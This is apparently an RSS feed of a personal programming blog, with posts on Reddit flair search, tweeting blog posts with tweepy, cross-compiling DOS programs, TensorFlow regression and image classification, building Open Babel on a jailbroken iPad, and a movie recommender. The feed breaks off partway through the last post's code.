Navan's Archive Rare Tips, Tricks and Posts https://web.navan.dev/en Tue, 26 Mar 2024 23:45:22 -0000 Tue, 26 Mar 2024 23:45:22 -0000 250 https://web.navan.dev/posts/2023-10-22-search-by-flair-reddit.html Search / Filter posts by flair on Reddit Search posts by flair on Reddit Web by using _ https://web.navan.dev/posts/2023-10-22-search-by-flair-reddit.html Sun, 22 Oct 2023 00:37:00 -0000 Search / Filter posts by flair on Reddit

Remember to replace any spaces in the flair with _

E.g. flair:Snail_Mail limited to r/penpals will only show posts that have the flair Snail Mail.

Screenshot of Old Reddit with search filter being used

I wish this was documented somewhere.

]]>
https://web.navan.dev/posts/2020-03-08-Making-Vaporwave-Track.html Making My First Vaporwave Track (Remix) I made my first vaporwave remix https://web.navan.dev/posts/2020-03-08-Making-Vaporwave-Track.html Sun, 08 Mar 2020 23:17:00 -0000 Making My First Vaporwave Track (Remix)

I finally completed my first quick and dirty vaporwave remix of "I Want It That Way" by the Backstreet Boys

V A P O R W A V E

Vaporwave is all about A E S T H E T I C S. Vaporwave is a type of music genre that emerged as a parody of Chillwave, shared more as a meme rather than a proper musical genre. Of course this changed as the genre become mature

How to Vaporwave

The first track which is considered to be actual Vaporwave is Ramona Xavier's Macintosh Plus, this set the guidelines for making Vaporwave

  • Take a 1980s RnB song
  • Slow it down
  • Add Bass and Treble
  • Add again
  • Add Reverb ( make sure its wet )

There you have your very own Vaporwave track.

( Now, there are some tracks being produced which are not remixes and are original )

My Remix

Where is the Programming?

The fact that there are steps on producing Vaporwave, this gave me the idea that Vaporwave can actually be made using programming, stay tuned for when I publish the program which I am working on ( Generating A E S T H E T I C artwork and remixes)

]]>
https://web.navan.dev/posts/2021-06-25-Blog2Twitter-P1.html Posting Blog Posts as Twitter Threads Part 1/n Converting Posts to Twitter Threads https://web.navan.dev/posts/2021-06-25-Blog2Twitter-P1.html Fri, 25 Jun 2021 00:08:00 -0000 Posting Blog Posts as Twitter Threads Part 1/n

Why? Eh, no good reason, but should be fun.

Plan of Action

I recently shifted my website to a static site generator I wrote specifically for myself. Thus, it should be easy to just add a feature to check for new posts, split the text into chunks for Twitter threads and tweet them. I am not handling lists or images right now.

Time to Code

First, the dependency: tweepy for tweeting.

pip install tweepy

import os
import tweepy

consumer_key = os.environ["consumer_key"]
consumer_secret = os.environ["consumer_secret"]

access_token = os.environ["access_token"]
access_token_secret = os.environ["access_token_secret"]

auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_token_secret)

api = tweepy.API(auth)

The program need to convert the blog post into text fragments.

It reads the markdown file, removes the top YAML content, checks for headers and splits the content.

tweets = []

first___n = 0

with open(sample_markdown_file) as f:
    for line in f.readlines():
        if first___n <= 1:
            if line == "---\n":
                first___n += 1
            continue
        line = line.strip()
        line += " "
        if "#" in line:
            line = line.replace("#","")
            line.strip()
            line = "\n" + line
            line += "\n\n"
        try:
            if len(tweets[-1]) < 260 and (len(tweets[-1]) + len(line)) <= 260:
                tweets[-1] += line
            else:
                tweets.append(line)
        except IndexError:
            if len(line) > 260:
                print("ERROR")
            else:
                tweets.append(line)

Every status update using tweepy has an id attached to it, for the next tweet in the thread, it adds that ID while calling the function.

For every tweet fragment, it also appends 1/n.

for idx, tweet in enumerate(tweets):
    tweet += " {}/{}".format(idx+1,len(tweets))
    if idx == 0:
        a = None
        a = api.update_status(tweet)
    else:
        a = api.update_status(tweet,in_reply_to_status_id=a.id)
    print(len(tweet),end=" ")
    print("{}/{}\n".format(idx+1,len(tweets)))

Finally, it replies to the last tweet in the thread with the link of the post.

api.update_status("Web Version: {}".format(post_link))

Result

What's Next?

For the next part, I will try to append the code as well. I actually added the code to this post after running the program.

]]>
https://web.navan.dev/posts/2024-03-15-setting-up-macos-for-8088-dos-dev.html Cross-Compiling Hello World for DOS on macOS This goes through compiling Open Watcom 2 and creating simple hello-world exampls https://web.navan.dev/posts/2024-03-15-setting-up-macos-for-8088-dos-dev.html Fri, 15 Mar 2024 13:16:00 -0000 Cross-Compiling Hello World for DOS on macOS

Technically this should work for any platform that OpenWatcom 2 supports compiling binaries for. Some instructions are based on a post at retrocoding.net, and John Tsiombikas's post

Prerequisites

You should already have XCode / Command Line Tools, and Homebrew installed. To compile Open Watcom for DOS you will need DOSBox (I use DOSBox-X).

brew install --cask dosbox-x

Compiling Open Watcom v2

If this process is super annoying, I might make a custom homebrew tap to build and install Open Watcom

git clone https://github.com/open-watcom/open-watcom-v2
cp open-watcom-v2/setvars.sh custom_setvars.sh

Now, edit this setvars.sh file. My file looks like this:

#!/bin/zsh
export OWROOT="/Users/navanchauhan/Developer/8088Stuff/open-watcom-v2"
export OWTOOLS=CLANG
export OWDOCBUILD=0
export OWGUINOBUILD=0
export OWDISTRBUILD=0
export OWDOSBOX="/Applications/dosbox-x.app/Contents/MacOS/dosbox-x"
export OWOBJDIR=binbuildV01
. "$OWROOT/cmnvars.sh"
echo "OWROOT=$OWROOT"
cd "$OWROOT"

Note, your OWRTOOT is definitely going to be in a different location.

source ./custom_setvars.sh
./build.sh
./build.sh rel

This will build, and then copy everything to the rel directory inside open-watcom-v2 directory. Since I ran this on an Apple Silicon Mac, all the binaries for me are in the armo64 directory. You can now move everything inside the rel folder to another location, or create a simple script to init all variables whenever you want.

I like having a script called exportVarsForDOS.sh

#!/bin/zsh

export WATCOM=/Users/navanchauhan/Developer/8088Stuff/open-watcom-v2/rel
export PATH=$PATH:$WATCOM/armo64
export EDDAT=$WATCOM/eddat

# For DOS 8088/8086 development
export INCLUDE=$WATCOM/h
export LIB=$WATCOM/lib286 # You don't really need this

Then, when you need to load up these variables, you can simply run source exportVarsForDOS.sh or . exportVarsForDOS.sh

Hello World

Buliding without any Makefiles

Create a new file called example1.c

#include<stdio.h>

int main() {
    printf("Hello World!");
    return 0;
}

First we compile the code:

$ wcc example1.c
Open Watcom C x86 16-bit Optimizing Compiler
Version 2.0 beta Mar 15 2024 13:11:55
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1984-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
example1.c: 7 lines, included 818, 0 warnings, 0 errors
Code size: 19

Then, link to make an executable:

$ wlink name example1.exe system dos file example1.o
Open Watcom Linker Version 2.0 beta Mar 15 2024 13:10:09
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1985-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
loading object files
searching libraries
creating a DOS executable 

If you want to test this executable, jump to the section titled Testing with DOSBox-X below.

Simple Makefile

obj = main.o hello.o
bin = tizts.com

CC = wcc
CFLAGS = -0
LD = wlink

$(bin): $(obj)
    $(LD) name $@ system dos file main.o file hello.o 

.c.o:
    $(CC) $(CFLAGS) $<

clean:
    rm $(obj) $(bin)

Where, main.c

void hello(void);

int main(void)
{
    hello();
    return 0;
}

and hello.c

/* hello.c */
#include <stdio.h>

void hello(void)
{
    printf("Hello!");
}

To compile into tizts.com simply run wmake

$ wmake
➜  simple-cpp wmake
Open Watcom Make Version 2.0 beta Mar 15 2024 13:10:16
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1988-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
    wcc -0 main.c
Open Watcom C x86 16-bit Optimizing Compiler
Version 2.0 beta Mar 15 2024 13:11:55
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1984-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
main.c(8): Warning! W138: No newline at end of file
main.c: 8 lines, included 53, 1 warnings, 0 errors
Code size: 12
    wcc -0 hello.c
Open Watcom C x86 16-bit Optimizing Compiler
Version 2.0 beta Mar 15 2024 13:11:55
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1984-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
hello.c: 8 lines, included 818, 0 warnings, 0 errors
Code size: 17
    wlink name tizts.com system dos file main.o file hello.o
Open Watcom Linker Version 2.0 beta Mar 15 2024 13:10:09
Copyright (c) 2002-2024 The Open Watcom Contributors. All Rights Reserved.
Portions Copyright (c) 1985-2002 Sybase, Inc. All Rights Reserved.
Source code is available under the Sybase Open Watcom Public License.
See https://github.com/open-watcom/open-watcom-v2#readme for details.
loading object files
searching libraries
creating a DOS executable

Using CMake

Create a file called CMakeLists.txt

project(hello)

set(SOURCES abc.c)

add_executable(hello ${SOURCES})

Where, abc.c is:

#include <stdio.h>

int main() {
    printf("Does this work?");
    return 0;
}
mkdir build
cd build

And build using CMake

cmake -DCMAKE_SYSTEM_NAME=DOS -DCMAKE_SYSTEM_PROCESSOR=I86 -DCMAKE_C_FLAGS="-0 -bt=dos -d0 -oaxt" -G "Watcom WMake" ../..

There you have it. Three different ways to compile a C program on a macOS device in 2024 that can run on an IBM PC 5150 (which was released in 1981!)

Testing with DOSBox-X

cp example1.exe ~/Downloads
/Applications/dosbox-x.app/Contents/MacOS/dosbox-x

In DOSBox-X we now mount the ~/Downloads folder as our C: drive

mount C ~/Downloads

Switch to the C drive

C:

Run the program:

example1

Running our program in DOSBox-X

My DOSBox setup might look slightly different than yours...

]]>
https://web.navan.dev/posts/2024-03-21-Polynomial-Regression-in-TensorFlow-2.html Polynomial Regression Using TensorFlow 2.x Predicting n-th degree polynomials using TensorFlow 2.x https://web.navan.dev/posts/2024-03-21-Polynomial-Regression-in-TensorFlow-2.html Thu, 21 Mar 2024 12:46:00 -0000 Polynomial Regression Using TensorFlow 2.x

I have a similar post titled Polynomial Regression Using Tensorflow that used tensorflow.compat.v1 (Which still works as of TF 2.16). But, I thought it would be nicer to redo it with newer TF versions.

I will be skipping all the introductions about polynomial regression and jumping straight to the code. Personally, I prefer using scikit-learn for this task.

Position vs Salary Dataset

Again, we will be using https://drive.google.com/file/d/1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9/view (Salary vs Position Dataset)

If you are in a Python Notebook environment like Kaggle or Google Colaboratory, you can simply run:

!wget --no-check-certificate 'https://docs.google.com/uc?export=download&id=1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9' -O data.csv

Code

If you just want to copy-paste the code, scroll to the bottom for the entire snippet. Here I will try and walk through setting up code for a 3rd-degree (cubic) polynomial

Imports

import pandas as pd
import tensorflow as tf
import matplotlib.pyplot as plt
import numpy as np

Reading the Dataset

df = pd.read_csv("data.csv")

Variables and Constants

Here, we initialize the X and Y values as constants, since they are not going to change. The coefficients are defined as variables.

X = tf.constant(df["Level"], dtype=tf.float32)
Y = tf.constant(df["Salary"], dtype=tf.float32)

coefficients = [tf.Variable(np.random.randn() * 0.01, dtype=tf.float32) for _ in range(4)]

Here, X and Y are the values from our dataset. We initialize the coefficients for the equations as small random values.

These coefficients are evaluated by Tensorflow's tf.math.poyval function which returns the n-th order polynomial based on how many coefficients are passed. Since our list of coefficients contains 4 different variables, it will be evaluated as:

y = (x**3)*coefficients[3] + (x**2)*coefficients[2] + (x**1)*coefficients[1] (x**0)*coefficients[0]

Which is equivalent to the general cubic equation:

y=ax3+bx2+cx+d

Optimizer Selection & Training

optimizer = tf.keras.optimizers.Adam(learning_rate=0.3)
num_epochs = 10_000

for epoch in range(num_epochs):
    with tf.GradientTape() as tape:
        y_pred = tf.math.polyval(coefficients, X)
        loss = tf.reduce_mean(tf.square(y - y_pred))
    grads = tape.gradient(loss, coefficients)
    optimizer.apply_gradients(zip(grads, coefficients))
    if (epoch+1) % 1000 == 0:
        print(f"Epoch: {epoch+1}, Loss: {loss.numpy()}"

In TensorFlow 1, we would have been using tf.Session instead.

Here we are using GradientTape() instead, to keep track of the loss evaluation and coefficients. This is crucial, as our optimizer needs these gradients to be able to optimize our coefficients.

Our loss function is Mean Squared Error (MSE):

=1ni=1n(Y_iY_i^)2

Where Yi^ is the predicted value and Yi is the actual value

Plotting Final Coefficients

final_coefficients = [c.numpy() for c in coefficients]
print("Final Coefficients:", final_coefficients)

plt.plot(df["Level"], df["Salary"], label="Original Data")
plt.plot(df["Level"],[tf.math.polyval(final_coefficients, tf.constant(x, dtype=tf.float32)).numpy() for x in df["Level"]])
plt.ylabel('Salary')
plt.xlabel('Position')
plt.title("Salary vs Position")
plt.show()

Code Snippet for a Polynomial of Degree N

Using Gradient Tape

This should work regardless of the Keras backend version (2 or 3)

import tensorflow as tf
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt

df = pd.read_csv("data.csv")

############################
## Change Parameters Here ##
############################
x_column = "Level"         #
y_column = "Salary"        #
degree = 2                 #
learning_rate = 0.3        #
num_epochs = 25_000        #
############################

X = tf.constant(df[x_column], dtype=tf.float32)
Y = tf.constant(df[y_column], dtype=tf.float32)

coefficients = [tf.Variable(np.random.randn() * 0.01, dtype=tf.float32) for _ in range(degree + 1)]

optimizer = tf.keras.optimizers.Adam(learning_rate=learning_rate)

for epoch in range(num_epochs):
    with tf.GradientTape() as tape:
        y_pred = tf.math.polyval(coefficients, X)
        loss = tf.reduce_mean(tf.square(Y - y_pred))
    grads = tape.gradient(loss, coefficients)
    optimizer.apply_gradients(zip(grads, coefficients))
    if (epoch+1) % 1000 == 0:
        print(f"Epoch: {epoch+1}, Loss: {loss.numpy()}")

final_coefficients = [c.numpy() for c in coefficients]
print("Final Coefficients:", final_coefficients)

print("Final Equation:", end=" ")
for i in range(degree+1):
  print(f"{final_coefficients[i]} * x^{degree-i}", end=" + " if i < degree else "\n")

plt.plot(X, Y, label="Original Data")
plt.plot(X,[tf.math.polyval(final_coefficients, tf.constant(x, dtype=tf.float32)).numpy() for x in df[x_column]]), label="Our Poynomial"
plt.ylabel(y_column)
plt.xlabel(x_column)
plt.title(f"{x_column} vs {y_column}")
plt.legend()
plt.show()

Without Gradient Tape

This relies on the Optimizer's minimize function and uses the var_list parameter to update the variables.

This will not work with Keras 3 backend in TF 2.16.0 and above unless you switch to the legacy backend.

import tensorflow as tf
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt

df = pd.read_csv("data.csv")

############################
## Change Parameters Here ##
############################
x_column = "Level"         #
y_column = "Salary"        #
degree = 2                 #
learning_rate = 0.3        #
num_epochs = 25_000        #
############################

X = tf.constant(df[x_column], dtype=tf.float32)
Y = tf.constant(df[y_column], dtype=tf.float32)

coefficients = [tf.Variable(np.random.randn() * 0.01, dtype=tf.float32) for _ in range(degree + 1)]

optimizer = tf.keras.optimizers.Adam(learning_rate=learning_rate)

def loss_function():
  pred_y = tf.math.polyval(coefficients, X)
  return tf.reduce_mean(tf.square(pred_y - Y))

for epoch in range(num_epochs):
    optimizer.minimize(loss_function, var_list=coefficients)
    if (epoch+1) % 1000 == 0:
        current_loss = loss_function().numpy()
        print(f"Epoch {epoch+1}: Training Loss: {current_loss}")

final_coefficients = coefficients.numpy()
print("Final Coefficients:", final_coefficients)

print("Final Equation:", end=" ")
for i in range(degree+1):
  print(f"{final_coefficients[i]} * x^{degree-i}", end=" + " if i < degree else "\n")

plt.plot(X, Y, label="Original Data")
plt.plot(X,[tf.math.polyval(final_coefficients, tf.constant(x, dtype=tf.float32)).numpy() for x in df[x_column]], label="Our Polynomial")
plt.ylabel(y_column)
plt.xlabel(x_column)
plt.legend()
plt.title(f"{x_column} vs {y_column}")
plt.show()

As always, remember to tweak the parameters and choose the correct model for the job. A polynomial regression model might not even be the best model for this particular dataset.

Further Programming

How would you modify this code to use another type of nonlinear regression? Say,

y=abx

Hint: Your loss calculation would be similar to:

bx = tf.pow(coefficients[1], X)
pred_y = tf.math.multiply(coefficients[0], bx)
loss = tf.reduce_mean(tf.square(pred_y - Y))
]]>
https://web.navan.dev/posts/hello-world.html Hello World My first post. https://web.navan.dev/posts/hello-world.html Tue, 16 Apr 2019 17:39:00 -0000 Hello World

Why a Hello World post?

Just re-did the entire website using Publish (Publish by John Sundell). So, a new hello world post :)

]]>
https://web.navan.dev/posts/2010-01-24-experiments.html Experiments Just a markdown file for all experiments related to the website https://web.navan.dev/posts/2010-01-24-experiments.html Sun, 24 Jan 2010 23:43:00 -0000 Experiments

https://s3-us-west-2.amazonaws.com/s.cdpn.io/148866/img-original.jpg

]]>
https://web.navan.dev/posts/2020-01-15-Setting-up-Kaggle-to-use-with-Colab.html Setting up Kaggle to use with Google Colab Tutorial on setting up kaggle, to use with Google Colab https://web.navan.dev/posts/2020-01-15-Setting-up-Kaggle-to-use-with-Colab.html Wed, 15 Jan 2020 23:36:00 -0000 Setting up Kaggle to use with Google Colab

In order to be able to access Kaggle Datasets, you will need to have an account on Kaggle (which is Free)

Grabbing Our Tokens

Go to Kaggle

"Homepage"

Click on your User Profile and Click on My Account

"Account"

Scroll Down until you see Create New API Token

This will download your token as a JSON file

Copy the File to the root folder of your Google Drive

Setting up Colab

Mounting Google Drive

import os
from google.colab import drive
drive.mount('/content/drive')

After this click on the URL in the output section, login and then paste the Auth Code

Configuring Kaggle

os.environ['KAGGLE_CONFIG_DIR'] = "/content/drive/My Drive/"

Voila! You can now download Kaggle datasets

]]>
https://web.navan.dev/posts/2019-12-08-Image-Classifier-Tensorflow.html Creating a Custom Image Classifier using Tensorflow 2.x and Keras for Detecting Malaria Tutorial on creating an image classifier model using TensorFlow which detects malaria https://web.navan.dev/posts/2019-12-08-Image-Classifier-Tensorflow.html Sun, 08 Dec 2019 14:16:00 -0000 Creating a Custom Image Classifier using Tensorflow 2.x and Keras for Detecting Malaria

Done during Google Code-In. Org: Tensorflow.

Imports

%tensorflow_version 2.x #This is for telling Colab that you want to use TF 2.0, ignore if running on local machine

from PIL import Image # We use the PIL Library to resize images
import numpy as np
import os
import cv2
import tensorflow as tf
from tensorflow.keras import datasets, layers, models
import pandas as pd
import matplotlib.pyplot as plt
from keras.models import Sequential
from keras.layers import Conv2D,MaxPooling2D,Dense,Flatten,Dropout

Dataset

Fetching the Data

!wget ftp://lhcftp.nlm.nih.gov/Open-Access-Datasets/Malaria/cell_images.zip
!unzip cell_images.zip

Processing the Data

We resize all the images as 50x50 and add the numpy array of that image as well as their label names (Infected or Not) to common arrays.

data = []
labels = []

Parasitized = os.listdir("./cell_images/Parasitized/")
for parasite in Parasitized:
    try:
        image=cv2.imread("./cell_images/Parasitized/"+parasite)
        image_from_array = Image.fromarray(image, 'RGB')
        size_image = image_from_array.resize((50, 50))
        data.append(np.array(size_image))
        labels.append(0)
    except AttributeError:
        print("")

Uninfected = os.listdir("./cell_images/Uninfected/")
for uninfect in Uninfected:
    try:
        image=cv2.imread("./cell_images/Uninfected/"+uninfect)
        image_from_array = Image.fromarray(image, 'RGB')
        size_image = image_from_array.resize((50, 50))
        data.append(np.array(size_image))
        labels.append(1)
    except AttributeError:
        print("")

Splitting Data

df = np.array(data)
labels = np.array(labels)
(X_train, X_test) = df[(int)(0.1*len(df)):],df[:(int)(0.1*len(df))]
(y_train, y_test) = labels[(int)(0.1*len(labels)):],labels[:(int)(0.1*len(labels))]
s=np.arange(X_train.shape[0])
np.random.shuffle(s)
X_train=X_train[s]
y_train=y_train[s]
X_train = X_train/255.0

Model

Creating Model

By creating a sequential model, we create a linear stack of layers.

Note: The input shape for the first layer is 50,50 which corresponds with the sizes of the resized images

model = models.Sequential()
model.add(layers.Conv2D(filters=16, kernel_size=2, padding='same', activation='relu', input_shape=(50,50,3)))
model.add(layers.MaxPooling2D(pool_size=2))
model.add(layers.Conv2D(filters=32,kernel_size=2,padding='same',activation='relu'))
model.add(layers.MaxPooling2D(pool_size=2))
model.add(layers.Conv2D(filters=64,kernel_size=2,padding="same",activation="relu"))
model.add(layers.MaxPooling2D(pool_size=2))
model.add(layers.Dropout(0.2))
model.add(layers.Flatten())
model.add(layers.Dense(500,activation="relu"))
model.add(layers.Dropout(0.2))
model.add(layers.Dense(2,activation="softmax"))#2 represent output layer neurons 
model.summary()

Compiling Model

We use the Adam optimiser as it is an adaptive learning rate optimisation algorithm that's been designed specifically for training deep neural networks, which means it changes its learning rate automatically to get the best results

model.compile(optimizer="adam",
              loss="sparse_categorical_crossentropy", 
             metrics=["accuracy"])

Training Model

We train the model for 10 epochs on the training data and then validate it using the testing data

history = model.fit(X_train,y_train, epochs=10, validation_data=(X_test,y_test))
Train on 24803 samples, validate on 2755 samples
Epoch 1/10
24803/24803 [==============================] - 57s 2ms/sample - loss: 0.0786 - accuracy: 0.9729 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 2/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0746 - accuracy: 0.9731 - val_loss: 0.0290 - val_accuracy: 0.9996
Epoch 3/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0672 - accuracy: 0.9764 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 4/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0601 - accuracy: 0.9789 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 5/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0558 - accuracy: 0.9804 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 6/10
24803/24803 [==============================] - 57s 2ms/sample - loss: 0.0513 - accuracy: 0.9819 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 7/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0452 - accuracy: 0.9849 - val_loss: 0.3190 - val_accuracy: 0.9985
Epoch 8/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0404 - accuracy: 0.9858 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 9/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0352 - accuracy: 0.9878 - val_loss: 0.0000e+00 - val_accuracy: 1.0000
Epoch 10/10
24803/24803 [==============================] - 58s 2ms/sample - loss: 0.0373 - accuracy: 0.9865 - val_loss: 0.0000e+00 - val_accuracy: 1.0000

Results

accuracy = history.history['accuracy'][-1]*100
loss = history.history['loss'][-1]*100
val_accuracy = history.history['val_accuracy'][-1]*100
val_loss = history.history['val_loss'][-1]*100

print(
    'Accuracy:', accuracy,
    '\nLoss:', loss,
    '\nValidation Accuracy:', val_accuracy,
    '\nValidation Loss:', val_loss
)
Accuracy: 98.64532351493835 
Loss: 3.732407123270176 
Validation Accuracy: 100.0 
Validation Loss: 0.0

We have achieved 98% Accuracy!

Link to Colab Notebook

]]>
https://web.navan.dev/posts/2020-05-31-compiling-open-babel-on-ios.html Compiling Open Babel on iOS Compiling Open Babel on iOS https://web.navan.dev/posts/2020-05-31-compiling-open-babel-on-ios.html Sun, 31 May 2020 23:30:00 -0000 Compiling Open Babel on iOS

Due to the fact that my summer vacations started today, I had the brilliant idea of trying to run open babel on my iPad. To give a little background, I had tried to compile AutoDock Vina using a cross-compiler but I had miserably failed.

I am running the Checkr1n jailbreak on my iPad and the Unc0ver jailbreak on my phone.

But Why?

Well, just because I can. This is literally the only reason I tried compiling it and also partially because in the long run I want to compile AutoDock Vina so I can do Molecular Docking on the go.

Let's Go!

How hard can it be to compile open babel right? It is just a simple software with clear and concise build instructions. I just need to use cmake to build and the make to install.

It is 11 AM in the morning. I install clang, cmake and make from the Sam Bingner's repository, fired up ssh, downloaded the source code and ran the build command.`clang

Fail No. 1

I couldn't even get cmake to run, I did a little digging around StackOverflow and founf that I needed the iOS SDK, sure no problem. I waited for Xcode to update and transferred the SDKs to my iPad

scp -r /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk root@192.168.1.8:/var/sdks/

Them I told cmake that this is the location for my SDK 😠. Successful! Now I just needed to use make.

Fail No. 2

It was giving the error that thread-local-storage was not supported on this device.

[  0%] Building CXX object src/CMakeFiles/openbabel.dir/alias.cpp.o
[  1%] Building CXX object src/CMakeFiles/openbabel.dir/atom.cpp.o
In file included from /var/root/obabel/ob-src/src/atom.cpp:28:
In file included from /var/root/obabel/ob-src/include/openbabel/ring.h:29:
/var/root/obabel/ob-src/include/openbabel/typer.h:70:1: error: thread-local storage is not supported for the current target
THREAD_LOCAL OB_EXTERN OBAtomTyper      atomtyper;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
In file included from /var/root/obabel/ob-src/src/atom.cpp:28:
In file included from /var/root/obabel/ob-src/include/openbabel/ring.h:29:
/var/root/obabel/ob-src/include/openbabel/typer.h:84:1: error: thread-local storage is not supported for the current target
THREAD_LOCAL OB_EXTERN OBAromaticTyper  aromtyper;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
/var/root/obabel/ob-src/src/atom.cpp:107:10: error: thread-local storage is not supported for the current target
  extern THREAD_LOCAL OBAromaticTyper  aromtyper;
         ^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
/var/root/obabel/ob-src/src/atom.cpp:108:10: error: thread-local storage is not supported for the current target
  extern THREAD_LOCAL OBAtomTyper      atomtyper;
         ^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
/var/root/obabel/ob-src/src/atom.cpp:109:10: error: thread-local storage is not supported for the current target
  extern THREAD_LOCAL OBPhModel        phmodel;
         ^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
#  define THREAD_LOCAL thread_local
                       ^
5 errors generated.
make[2]: *** [src/CMakeFiles/openbabel.dir/build.make:76: src/CMakeFiles/openbabel.dir/atom.cpp.o] Error 1
make[1]: *** [CMakeFiles/Makefile2:1085: src/CMakeFiles/openbabel.dir/all] Error 2
make: *** [Makefile:129: all] Error 2

Strange but it is alright, there is nothing that hasn't been answered on the internet.

I did a little digging around and could not find a solution 😔

As a temporary fix, I disabled multithreading by going and commenting the lines in the source code.

"Open-Babel running on my iPad"

Packaging as a deb

This was pretty straight forward, I tried installing it on my iPad and it was working pretty smoothly.

Moment of Truth

So I airdropped the .deb to my phone and tried installing it, the installation was successful but when I tried obabel it just aborted.

"Open Babel crashing"

Turns out because I had created an install target of a separate folder while compiling, the binaries were referencing a non-existing dylib rather than those in the /usr/lib folder. As a quick workaround I transferred the deb folder to my laptop and used otool and install_name tool: install_name_tool -change /var/root/obabel/ob-build/lib/libopenbabel.7.dylib /usr/lib/libopenbabel.7.dylib for all the executables and then signed them using jtool

I then installed it and everything went smoothly, I even ran obabel and it executed perfectly, showing the version number 3.1.0 ✌️ Ahh, smooth victory.

Nope. When I tried converting from SMILES to pdbqt, it gave an error saying plugin not found. This was weird.

"Open Babel Plugin Error"

So I just copied the entire build folder from my iPad to my phone and tried running it. Oops, Apple Sandbox Error, Oh no!

I spent 2 hours around this problem, only to see the documentation and realise I hadn't setup the environment variable 🤦‍♂️

The Final Fix ( For Now )

export BABEL_DATADIR="/usr/share/openbabel/3.1.0"
export BABEL_LIBDIR="/usr/lib/openbabel/3.1.0"

This was the tragedy of trying to compile something without knowing enough about compiling. It is 11:30 as of writing this. Something as trivial as this should not have taken me so long. Am I going to try to compile AutoDock Vina next? 🤔 Maybe.

Also, if you want to try Open Babel on you jailbroken iDevice, install the package from my repository ( You, need to run the above mentioned final fix :p ). This was tested on iOS 13.5, I cannot tell if it will work on others or not.

Hopefully, I add some more screenshots to this post.

Edit 1: Added Screenshots, had to replicate the errors.

]]>
https://web.navan.dev/posts/2022-05-21-Similar-Movies-Recommender.html Building a Similar Movies Recommendation System Building a Content Based Similar Movies Recommendatiom System https://web.navan.dev/posts/2022-05-21-Similar-Movies-Recommender.html Sat, 21 May 2022 17:56:00 -0000 Building a Similar Movies Recommendation System

Why?

I recently came across a movie/tv-show recommender, couchmoney.tv. I loved it. I decided that I wanted to build something similar, so I could tinker with it as much as I wanted.

I also wanted a recommendation system I could use via a REST API. Although I have not included that part in this post, I did eventually create it.

How?

By measuring the cosine of the angle between two vectors, you can get a value in the range [0,1] with 0 meaning no similarity. Now, if we find a way to represent information about movies as a vector, we can use cosine similarity as a metric to find similar movies.

As we are recommending just based on the content of the movies, this is called a content based recommendation system.

Data Collection

Trakt exposes a nice API to search for movies/tv-shows. To access the API, you first need to get an API key (the Trakt ID you get when you create a new application).

I decided to use SQL-Alchemy with a SQLite backend just to make my life easier if I decided on switching to Postgres anytime I felt like.

First, I needed to check the total number of records in Trakt’s database.

import requests
import os

trakt_id = os.getenv("TRAKT_ID")

api_base = "https://api.trakt.tv"

headers = {
    "Content-Type": "application/json",
    "trakt-api-version": "2",
    "trakt-api-key": trakt_id
}

params = {
    "query": "",
    "years": "1900-2021",
    "page": "1",
    "extended": "full",
    "languages": "en"
}

res = requests.get(f"{api_base}/search/movie",headers=headers,params=params)
total_items = res.headers["x-pagination-item-count"]
print(f"There are {total_items} movies")
There are 333946 movies

First, I needed to declare the database schema in (database.py):

import sqlalchemy
from sqlalchemy import create_engine
from sqlalchemy import Table, Column, Integer, String, MetaData, ForeignKey, PickleType
from sqlalchemy import insert
from sqlalchemy.orm import sessionmaker
from sqlalchemy.exc import IntegrityError

meta = MetaData()

movies_table = Table(
    "movies",
    meta,
    Column("trakt_id", Integer, primary_key=True, autoincrement=False),
    Column("title", String),
